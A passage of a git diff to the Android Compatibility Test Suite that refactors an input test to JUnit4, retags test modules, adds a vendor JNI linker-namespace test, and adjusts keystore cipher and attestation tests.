+import java.io.InputStream;
import java.io.OutputStream;
-import java.io.Writer;
-import java.util.ArrayList;
+
import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.CountDownLatch;
import java.util.concurrent.LinkedBlockingQueue;
import java.util.concurrent.TimeUnit;
-import java.util.List;
-import java.util.UUID;
-public class InputTestCase extends ActivityInstrumentationTestCase2<InputCtsActivity> {
- private static final String TAG = "InputTestCase";
- private static final String HID_EXECUTABLE = "hid";
- private static final int SHELL_UID = 2000;
+import libcore.io.IoUtils;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+
+public class InputTestCase {
+ // hid executable expects "-" argument to read from stdin instead of a file
+ private static final String HID_COMMAND = "hid -";
private static final String[] KEY_ACTIONS = {"DOWN", "UP", "MULTIPLE"};
- private File mFifo;
- private Writer mWriter;
+ private OutputStream mOutputStream;
- private BlockingQueue<KeyEvent> mKeys;
- private BlockingQueue<MotionEvent> mMotions;
+ private final BlockingQueue<KeyEvent> mKeys;
+ private final BlockingQueue<MotionEvent> mMotions;
private InputListener mInputListener;
+ private Instrumentation mInstrumentation;
+
+ private volatile CountDownLatch mDeviceAddedSignal; // to wait for onInputDeviceAdded signal
+
public InputTestCase() {
- super(InputCtsActivity.class);
mKeys = new LinkedBlockingQueue<KeyEvent>();
mMotions = new LinkedBlockingQueue<MotionEvent>();
mInputListener = new InputListener();
}
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- mFifo = setupFifo();
+ @Rule
+ public ActivityTestRule<InputCtsActivity> mActivityRule =
+ new ActivityTestRule<>(InputCtsActivity.class);
+
+ @Before
+ public void setUp() throws Exception {
clearKeys();
clearMotions();
- getActivity().setInputCallback(mInputListener);
+ mInstrumentation = InstrumentationRegistry.getInstrumentation();
+ mActivityRule.getActivity().setInputCallback(mInputListener);
+ setupPipes();
}
- @Override
- protected void tearDown() throws Exception {
- if (mFifo != null) {
- mFifo.delete();
- mFifo = null;
+ @After
+ public void tearDown() throws Exception {
+ IoUtils.closeQuietly(mOutputStream);
+ }
+
+ /**
+ * Register an input device. May cause a failure if the device added notification
+ * is not received within the timeout period
+ *
+ * @param resourceId The resource id from which to send the register command.
+ */
+ public void registerInputDevice(int resourceId) {
+ mDeviceAddedSignal = new CountDownLatch(1);
+ sendHidCommands(resourceId);
+ try {
+ // Found that in kernel 3.10, the device registration takes a very long time
+ // The wait can be decreased to 2 seconds after kernel 3.10 is no longer supported
+ mDeviceAddedSignal.await(20L, TimeUnit.SECONDS);
+ if (mDeviceAddedSignal.getCount() != 0) {
+ fail("Device added notification was not received in time.");
+ }
+ } catch (InterruptedException ex) {
+ fail("Unexpectedly interrupted while waiting for device added notification.");
}
- closeQuietly(mWriter);
- mWriter = null;
- super.tearDown();
}
/**
@@ -89,9 +114,8 @@
*/
public void sendHidCommands(int id) {
try {
- Writer w = getWriter();
- w.write(getEvents(id));
- w.flush();
+ mOutputStream.write(getEvents(id).getBytes());
+ mOutputStream.flush();
} catch (IOException e) {
throw new RuntimeException(e);
}
@@ -153,40 +177,20 @@
mMotions.clear();
}
- private File setupFifo() throws ErrnoException {
- File dir = getActivity().getCacheDir();
- String filename = dir.getAbsolutePath() + File.separator + UUID.randomUUID().toString();
- Os.mkfifo(filename, 0666);
- File f = new File(filename);
- return f;
- }
+ private void setupPipes() throws IOException {
+ UiAutomation ui = mInstrumentation.getUiAutomation();
+ ParcelFileDescriptor[] pipes = ui.executeShellCommandRw(HID_COMMAND);
- private Writer getWriter() throws IOException {
- if (mWriter == null) {
- UiAutomation ui = getInstrumentation().getUiAutomation();
- ui.executeShellCommand("hid " + mFifo.getAbsolutePath());
- mWriter = new FileWriter(mFifo);
- }
- return mWriter;
+ mOutputStream = new ParcelFileDescriptor.AutoCloseOutputStream(pipes[1]);
+ IoUtils.closeQuietly(pipes[0]); // hid command is write-only
}
private String getEvents(int id) throws IOException {
InputStream is =
- getInstrumentation().getTargetContext().getResources().openRawResource(id);
+ mInstrumentation.getTargetContext().getResources().openRawResource(id);
return readFully(is);
}
-
- private static void closeQuietly(AutoCloseable closeable) {
- if (closeable != null) {
- try {
- closeable.close();
- } catch (RuntimeException rethrown) {
- throw rethrown;
- } catch (Exception ignored) { }
- }
- }
-
private static String readFully(InputStream is) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
int read = 0;
@@ -198,6 +202,7 @@
}
private class InputListener implements InputCallback {
+ @Override
public void onKeyEvent(KeyEvent ev) {
boolean done = false;
do {
@@ -208,6 +213,7 @@
} while (!done);
}
+ @Override
public void onMotionEvent(MotionEvent ev) {
boolean done = false;
do {
@@ -217,5 +223,20 @@
} catch (InterruptedException ignore) { }
} while (!done);
}
+
+ @Override
+ public void onInputDeviceAdded(int deviceId) {
+ mDeviceAddedSignal.countDown();
+ }
+
+ @Override
+ public void onInputDeviceRemoved(int deviceId) {
+ }
+
+ @Override
+ public void onInputDeviceChanged(int deviceId) {
+ }
}
+
+
}
diff --git a/tests/tests/icu/Android.mk b/tests/tests/icu/Android.mk
index 45fed49..5b80a37 100644
--- a/tests/tests/icu/Android.mk
+++ b/tests/tests/icu/Android.mk
@@ -34,7 +34,7 @@
android-icu4j-tests
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsIcuTestCases
diff --git a/tests/tests/icu/AndroidTest.xml b/tests/tests/icu/AndroidTest.xml
index 2f8f611..be33fd2 100644
--- a/tests/tests/icu/AndroidTest.xml
+++ b/tests/tests/icu/AndroidTest.xml
@@ -14,6 +14,7 @@
limitations under the License.
-->
<configuration description="Config for CTS ICU test cases">
+ <option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="libcore" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/icu/resources/android/icu/cts/expectations/icu-known-failures.txt b/tests/tests/icu/resources/android/icu/cts/expectations/icu-known-failures.txt
index ebcbd78..a2e6dc4 100644
--- a/tests/tests/icu/resources/android/icu/cts/expectations/icu-known-failures.txt
+++ b/tests/tests/icu/resources/android/icu/cts/expectations/icu-known-failures.txt
@@ -11,45 +11,16 @@
},
*/
{
- description: "Class cannot be instantiated, cannot find resources android/icu/dev/test/serializable/data",
- name: "android.icu.dev.test.serializable.CompatibilityTest",
- bug: "27310873"
-},
-{
- description: "Cannot find any classes to test because .class files are not treated as resources in APK",
- name: "android.icu.dev.test.serializable.CoverageTest",
- bug: "27666677"
-},
-{
description: "Serialized forms have not been converted to use repackaged classes",
name: "android.icu.dev.test.format.NumberFormatRegressionTest#TestSerialization",
bug: "27374606"
},
{
- description: "android.icu.charset package not available in repackaged Android library",
- names: [
- "android.icu.dev.test.charset.TestCharset",
- "android.icu.dev.test.charset.TestConversion",
- "android.icu.dev.test.charset.TestSelection"
- ],
- bug: "27373370"
-},
-{
description: "Fails on host and on device in same way before and after packaging",
name: "android.icu.dev.test.bidi.TestCompatibility#testCompatibility",
bug: "23995372"
},
{
- description: "Problem with negative multiplier, not a regression",
- name: "android.icu.dev.test.format.NumberFormatTest#TestNonpositiveMultiplier",
- bug: "19185440"
-},
-{
- description: "Wrong case for exponent separator",
- name: "android.icu.dev.test.format.PluralRulesTest#testOverUnderflow",
- bug: "27566754"
-},
-{
description: "Checks differences in DecimalFormat classes from ICU4J and JDK but on Android java.text.DecimalFormat is implemented in terms of ICU4J",
name: "android.icu.dev.test.format.NumberFormatTest#TestDataDrivenJDK",
bug: "27711713"
diff --git a/tests/tests/incident/Android.mk b/tests/tests/incident/Android.mk
index 7d07ec0..1309c99 100644
--- a/tests/tests/incident/Android.mk
+++ b/tests/tests/incident/Android.mk
@@ -27,12 +27,13 @@
LOCAL_PACKAGE_NAME := CtsIncidentTestCases
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
#LOCAL_SDK_VERSION := current
LOCAL_JAVA_LIBRARIES += android.test.runner
LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner
+ ctstestrunner \
+ legacy-android-test
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/incident/AndroidTest.xml b/tests/tests/incident/AndroidTest.xml
index e61f381..e42da3d 100644
--- a/tests/tests/incident/AndroidTest.xml
+++ b/tests/tests/incident/AndroidTest.xml
@@ -14,6 +14,7 @@
limitations under the License.
-->
<configuration description="Configuration for Incident Tests">
+ <option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="metrics" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/jni/Android.mk b/tests/tests/jni/Android.mk
index 7672d2f..1f332b9 100644
--- a/tests/tests/jni/Android.mk
+++ b/tests/tests/jni/Android.mk
@@ -28,7 +28,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
diff --git a/tests/tests/jni/libjnitest/Android.mk b/tests/tests/jni/libjnitest/Android.mk
index 7140de4..0703722 100644
--- a/tests/tests/jni/libjnitest/Android.mk
+++ b/tests/tests/jni/libjnitest/Android.mk
@@ -42,4 +42,6 @@
LOCAL_SDK_VERSION := 23
LOCAL_NDK_STL_VARIANT := c++_static
+LOCAL_CFLAGS := -Wno-unused-parameter
+
include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp b/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp
index b72ebd6..b2af4df 100644
--- a/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp
+++ b/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp
@@ -78,7 +78,8 @@
static bool not_accessible(const std::string& library, const std::string& err) {
return err.find("dlopen failed: library \"" + library + "\"") == 0 &&
(err.find("is not accessible for the namespace \"classloader-namespace\"") != std::string::npos ||
- err.find("is not accessible for the namespace \"sphal\"") != std::string::npos);
+ err.find("is not accessible for the namespace \"sphal\"") != std::string::npos ||
+ err.find("is not accessible for the namespace \"(default)\"") != std::string::npos);
}
static bool not_found(const std::string& library, const std::string& err) {
diff --git a/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java b/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java
index bd524d2..f63e76a 100644
--- a/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java
+++ b/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java
@@ -50,6 +50,7 @@
"libmediandk.so",
"libm.so",
"libnativewindow.so",
+ "libneuralnetworks.so",
"libOpenMAXAL.so",
"libOpenSLES.so",
"libRS.so",
diff --git a/tests/tests/jni_vendor/Android.mk b/tests/tests/jni_vendor/Android.mk
new file mode 100644
index 0000000..ba06b42
--- /dev/null
+++ b/tests/tests/jni_vendor/Android.mk
@@ -0,0 +1,47 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsVendorJniTestCases
+
+# Don't include this package in any target.
+LOCAL_MODULE_TAGS := optional
+
+# Include both the 32 and 64 bit versions
+LOCAL_MULTILIB := both
+
+# When built, explicitly put it in the vendor partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_VENDOR_APPS)
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test ctstestrunner
+
+LOCAL_JNI_SHARED_LIBRARIES := libvendorjnitest
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_SDK_VERSION := current
+
+# TODO(jiyong) make this really a part of CTS
+# This can't be done right now since VNDK runtime restriction is optional
+# at least for O-MR1.
+# Tag this module as a cts test artifact
+#LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+include $(BUILD_CTS_PACKAGE)
+
+# Include the associated library's makefile.
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/jni_vendor/AndroidManifest.xml b/tests/tests/jni_vendor/AndroidManifest.xml
new file mode 100644
index 0000000..363a151
--- /dev/null
+++ b/tests/tests/jni_vendor/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.jni.vendor.cts">
+
+ <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+ <application>
+ <uses-library android:name="android.test.runner" />
+ </application>
+
+ <!-- This is a self-instrumenting test package. -->
+ <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.jni.vendor.cts"
+ android:label="CTS tests of calling native code via Vendor's JNI">
+ <meta-data android:name="listener"
+ android:value="com.android.cts.runner.CtsTestRunListener" />
+ </instrumentation>
+
+</manifest>
+
diff --git a/tests/tests/jni_vendor/AndroidTest.xml b/tests/tests/jni_vendor/AndroidTest.xml
new file mode 100644
index 0000000..65afd6b
--- /dev/null
+++ b/tests/tests/jni_vendor/AndroidTest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS Vendor's JNI test cases">
+ <option name="config-descriptor:metadata" key="component" value="art" />
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsVendorJniTestCases.apk" />
+ </target_preparer>
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+ <option name="package" value="android.jni.vendor.cts" />
+ <option name="runtime-hint" value="1m" />
+ </test>
+</configuration>
diff --git a/tests/tests/jni_vendor/libvendorjnitest/Android.mk b/tests/tests/jni_vendor/libvendorjnitest/Android.mk
new file mode 100644
index 0000000..ca59ee8
--- /dev/null
+++ b/tests/tests/jni_vendor/libvendorjnitest/Android.mk
@@ -0,0 +1,39 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+#
+# This is the shared library included by the JNI test app.
+#
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := libvendorjnitest
+
+# Don't include this package in any configuration by default.
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_SRC_FILES := android_jni_vendor_cts_VendorJniTest.cpp
+
+LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
+
+LOCAL_SHARED_LIBRARIES := libdl liblog
+
+LOCAL_SDK_VERSION := current
+LOCAL_NDK_STL_VARIANT := c++_static
+
+LOCAL_CFLAGS := -Wno-unused-parameter
+
+include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/jni_vendor/libvendorjnitest/android_jni_vendor_cts_VendorJniTest.cpp b/tests/tests/jni_vendor/libvendorjnitest/android_jni_vendor_cts_VendorJniTest.cpp
new file mode 100644
index 0000000..42e740e
--- /dev/null
+++ b/tests/tests/jni_vendor/libvendorjnitest/android_jni_vendor_cts_VendorJniTest.cpp
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <jni.h>
+#include <dlfcn.h>
+
+extern "C" JNIEXPORT jstring JNICALL
+Java_android_jni_vendor_cts_VendorJniTest_dlopen(JNIEnv* env, jclass clazz, jstring name) {
+ const char* libname = env->GetStringUTFChars(name, nullptr);
+ jstring error_msg;
+ dlerror(); // clear any existing error
+ void* handle = dlopen(libname, RTLD_NOW);
+ env->ReleaseStringUTFChars(name, libname);
+ if (handle == nullptr) {
+ error_msg = env->NewStringUTF(dlerror());
+ } else {
+ error_msg = env->NewStringUTF("");
+ }
+ return error_msg;
+}
diff --git a/tests/tests/jni_vendor/src/android/jni/vendor/cts/VendorJniTest.java b/tests/tests/jni_vendor/src/android/jni/vendor/cts/VendorJniTest.java
new file mode 100644
index 0000000..db970e1
--- /dev/null
+++ b/tests/tests/jni_vendor/src/android/jni/vendor/cts/VendorJniTest.java
@@ -0,0 +1,117 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.jni.vendor.cts;
+
+import java.io.File;
+import java.io.IOException;
+import java.nio.file.Files;
+import java.nio.file.FileSystems;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+import junit.framework.TestCase;
+
+import android.os.Process;
+
+public class VendorJniTest extends TestCase {
+ private List<String> llndkLibraries;
+ private List<String> publicLibraries;
+ private List<String> vndkspLibraries;
+ private List<String> vndkLibraries;
+ private List<String> frameworkOnlyLibraries;
+
+ protected void setUp() throws Exception {
+ llndkLibraries = Files.readAllLines(FileSystems.getDefault().getPath(
+ "/system/etc/llndk.libraries.txt"));
+ publicLibraries = Files.readAllLines(FileSystems.getDefault().getPath(
+ "/system/etc/public.libraries.txt"));
+ vndkspLibraries = Files.readAllLines(FileSystems.getDefault().getPath(
+ "/system/etc/vndksp.libraries.txt"));
+
+ String systemLibDir = Process.is64Bit() ? "/system/lib64" : "/system/lib";
+
+ vndkLibraries = new ArrayList<>();
+ for(File f : (new File(systemLibDir + "/vndk")).listFiles()) {
+ if (f.isFile()) {
+ String name = f.getName();
+ if (name.endsWith(".so")) {
+ vndkLibraries.add(name);
+ }
+ }
+ }
+
+ frameworkOnlyLibraries = new ArrayList<>();
+ for(File f : (new File(systemLibDir)).listFiles()) {
+ if (f.isFile()) {
+ String name = f.getName();
+ if (name.endsWith(".so") && !llndkLibraries.contains(name)
+ && !vndkspLibraries.contains(name)
+ && !publicLibraries.contains(name)) {
+ frameworkOnlyLibraries.add(name);
+ }
+ }
+ }
+
+ System.loadLibrary("vendorjnitest");
+ }
+
+ public static native String dlopen(String name);
+
+ /* test if llndk libraries are all accessible */
+ public void test_llndkLibraries() {
+ for(String lib : llndkLibraries) {
+ assertEquals("", dlopen(lib));
+ }
+ }
+
+ /* test if vndk-sp libs are accessible */
+ public void test_vndkSpLibraries() {
+ for(String lib : vndkspLibraries) {
+ String error = dlopen(lib);
+ if (lib.equals("android.hidl.memory@1.0-impl.so")) {
+ // This won't be accessible to vendor JNI. This lib is only accessible from the
+ // 'sphal' namespace which isn't linked to the vendor-classloader-namespace.
+ if (error.equals("")) {
+ fail(lib + " must not be accessible to vendor apks, but was accessible.");
+ }
+ continue;
+ }
+ assertEquals("", error);
+ }
+ }
+
+ /* test if vndk libs are not accessible */
+ public void test_vndkLibraries() {
+ for(String lib : vndkLibraries) {
+ String error = dlopen(lib);
+ if (error.equals("")) {
+ fail(lib + " must not be accessible to vendor apks, but was accessible.");
+ }
+ }
+ }
+
+ /* test if framework-only libs are not accessible */
+ public void test_frameworkOnlyLibraries() {
+ for(String lib : frameworkOnlyLibraries) {
+ String error = dlopen(lib);
+ if (error.equals("")) {
+ fail(lib + " must not be accessible to vendor apks, but was accessible.");
+ }
+ }
+ }
+}
diff --git a/tests/tests/keystore/Android.mk b/tests/tests/keystore/Android.mk
index ae1b804..ea24954 100644
--- a/tests/tests/keystore/Android.mk
+++ b/tests/tests/keystore/Android.mk
@@ -21,7 +21,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_JAVA_LIBRARIES := bouncycastle
diff --git a/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java b/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java
index ba74804..b09a679 100644
--- a/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java
@@ -18,6 +18,7 @@
import android.app.KeyguardManager;
import android.content.Context;
+import android.content.pm.PackageManager;
import android.security.KeyPairGeneratorSpec;
import android.security.KeyStoreParameter;
import android.security.keystore.KeyProperties;
@@ -77,6 +78,8 @@
private static final String TEST_ALIAS_3 = "test3";
+ private long mMaxTestDurationMillis;
+
/*
* The keys and certificates below are generated with:
*
@@ -731,6 +734,12 @@
// Get a new instance because some tests need it uninitialized
mKeyStore = KeyStore.getInstance("AndroidKeyStore");
+
+ // Use a longer timeout on watches, which are generally less performant.
+ mMaxTestDurationMillis =
+ getContext().getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH)
+ ? LARGE_NUMBER_OF_KEYS_TEST_MAX_DURATION_WATCH_MILLIS
+ : LARGE_NUMBER_OF_KEYS_TEST_MAX_DURATION_MILLIS;
}
@Override
@@ -2027,6 +2036,7 @@
private static final int MIN_SUPPORTED_KEY_COUNT = 1500;
private static final long MINUTE_IN_MILLIS = 1000 * 60;
private static final long LARGE_NUMBER_OF_KEYS_TEST_MAX_DURATION_MILLIS = 2 * MINUTE_IN_MILLIS;
+ private static final long LARGE_NUMBER_OF_KEYS_TEST_MAX_DURATION_WATCH_MILLIS = 3 * MINUTE_IN_MILLIS;
private static boolean isDeadlineReached(long startTimeMillis, long durationMillis) {
long nowMillis = System.currentTimeMillis();
@@ -2072,8 +2082,7 @@
protectionParams);
// Import key3 lots of times, under different aliases.
- while (!isDeadlineReached(
- testStartTimeMillis, LARGE_NUMBER_OF_KEYS_TEST_MAX_DURATION_MILLIS)) {
+ while (!isDeadlineReached(testStartTimeMillis, mMaxTestDurationMillis)) {
latestImportedEntryNumber++;
if ((latestImportedEntryNumber % 1000) == 0) {
Log.i(TAG, "Imported " + latestImportedEntryNumber + " keys");
@@ -2171,7 +2180,7 @@
// Import key3 lots of times, under different aliases.
while (!isDeadlineReached(
- testStartTimeMillis, LARGE_NUMBER_OF_KEYS_TEST_MAX_DURATION_MILLIS)) {
+ testStartTimeMillis, mMaxTestDurationMillis)) {
latestImportedEntryNumber++;
if ((latestImportedEntryNumber % 1000) == 0) {
Log.i(TAG, "Imported " + latestImportedEntryNumber + " keys");
@@ -2267,8 +2276,7 @@
mKeyStore.setEntry(entryName1, new KeyStore.SecretKeyEntry(key1), protectionParams);
// Import key3 lots of times, under different aliases.
- while (!isDeadlineReached(
- testStartTimeMillis, LARGE_NUMBER_OF_KEYS_TEST_MAX_DURATION_MILLIS)) {
+ while (!isDeadlineReached(testStartTimeMillis, mMaxTestDurationMillis)) {
latestImportedEntryNumber++;
if ((latestImportedEntryNumber % 1000) == 0) {
Log.i(TAG, "Imported " + latestImportedEntryNumber + " keys");
@@ -2356,8 +2364,7 @@
mKeyStore.setEntry(entryName1, new KeyStore.SecretKeyEntry(key1), protectionParams);
// Import key3 lots of times, under different aliases.
- while (!isDeadlineReached(
- testStartTimeMillis, LARGE_NUMBER_OF_KEYS_TEST_MAX_DURATION_MILLIS)) {
+ while (!isDeadlineReached(testStartTimeMillis, mMaxTestDurationMillis)) {
latestImportedEntryNumber++;
if ((latestImportedEntryNumber % 1000) == 0) {
Log.i(TAG, "Imported " + latestImportedEntryNumber + " keys");
diff --git a/tests/tests/keystore/src/android/keystore/cts/CipherTest.java b/tests/tests/keystore/src/android/keystore/cts/CipherTest.java
index 57a7648..bac8ed0 100644
--- a/tests/tests/keystore/src/android/keystore/cts/CipherTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/CipherTest.java
@@ -687,23 +687,12 @@
// Encrypting this plaintext using Android Keystore Cipher should fail.
Cipher cipher = Cipher.getInstance(algorithm, keystoreProvider);
cipher.init(Cipher.ENCRYPT_MODE, encryptionKey);
- if ("RSA/ECB/NoPadding".equalsIgnoreCase(algorithm)) {
- // This transformation is special: it's supposed to throw a
- // BadPaddingException instead of an IllegalBlockSizeException.
- try {
- byte[] ciphertext = cipher.doFinal(plaintext);
- fail("Unexpectedly produced ciphertext (" + ciphertext.length
- + " bytes): " + HexEncoding.encode(ciphertext) + " for "
- + plaintext.length + " byte long plaintext");
- } catch (BadPaddingException expected) {}
- } else {
- try {
- byte[] ciphertext = cipher.doFinal(plaintext);
- fail("Unexpectedly produced ciphertext (" + ciphertext.length
- + " bytes): " + HexEncoding.encode(ciphertext) + " for "
- + plaintext.length + " byte long plaintext");
- } catch (IllegalBlockSizeException expected) {}
- }
+ try {
+ byte[] ciphertext = cipher.doFinal(plaintext);
+ fail("Unexpectedly produced ciphertext (" + ciphertext.length
+ + " bytes): " + HexEncoding.encode(ciphertext) + " for "
+ + plaintext.length + " byte long plaintext");
+ } catch (IllegalBlockSizeException | BadPaddingException expected) {}
// Encrypting this plaintext using the highest-priority implementation should
// fail.
@@ -720,34 +709,16 @@
// This has already been tested above.
continue;
}
- if ("RSA/ECB/NoPadding".equalsIgnoreCase(algorithm)) {
- // This transformation is special: it's supposed to throw a
- // BadPaddingException instead of an IllegalBlockSizeException.
- try {
- byte[] ciphertext = cipher.doFinal(plaintext);
- fail(otherProvider.getName() + " unexpectedly produced ciphertext ("
- + ciphertext.length + " bytes): "
- + HexEncoding.encode(ciphertext) + " for "
- + plaintext.length + " byte long plaintext");
- // TODO: Remove this workaround once Conscrypt's RSA Cipher Bug 22567458
- // is fixed. Conscrypt's Cipher.doFinal throws a SignatureException.
- // This code is unreachable because of the fail() above. It's here only
- // so that the compiler does not complain about us catching
- // SignatureException.
- Signature sig = Signature.getInstance("SHA256withRSA");
- sig.sign();
- } catch (BadPaddingException | SignatureException expected) {}
- } else {
- try {
- byte[] ciphertext = cipher.doFinal(plaintext);
- fail(otherProvider.getName() + " unexpectedly produced ciphertext ("
- + ciphertext.length + " bytes): "
- + HexEncoding.encode(ciphertext) + " for "
- + plaintext.length + " byte long plaintext");
- // TODO: Remove the catching of RuntimeException workaround once the
- // corresponding Bug 22567463 in Conscrypt is fixed.
- } catch (IllegalBlockSizeException | RuntimeException expected) {}
- }
+ try {
+ byte[] ciphertext = cipher.doFinal(plaintext);
+ fail(otherProvider.getName() + " unexpectedly produced ciphertext ("
+ + ciphertext.length + " bytes): "
+ + HexEncoding.encode(ciphertext) + " for "
+ + plaintext.length + " byte long plaintext");
+ // TODO: Remove the catching of RuntimeException and BadPaddingException
+ // workaround once the corresponding Bug 22567463 in Conscrypt is fixed.
+ } catch (IllegalBlockSizeException | BadPaddingException | RuntimeException
+ exception) {}
} catch (Throwable e) {
throw new RuntimeException(
"Failed for " + algorithm + " with key " + key.getAlias()
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
index 67c4e3a..d901690 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
@@ -767,8 +767,6 @@
assertNotNull(rootOfTrust);
assertNotNull(rootOfTrust.getVerifiedBootKey());
assertTrue(rootOfTrust.getVerifiedBootKey().length >= 32);
- assertTrue(rootOfTrust.isDeviceLocked());
- assertEquals(KM_VERIFIED_BOOT_VERIFIED, rootOfTrust.getVerifiedBootState());
}
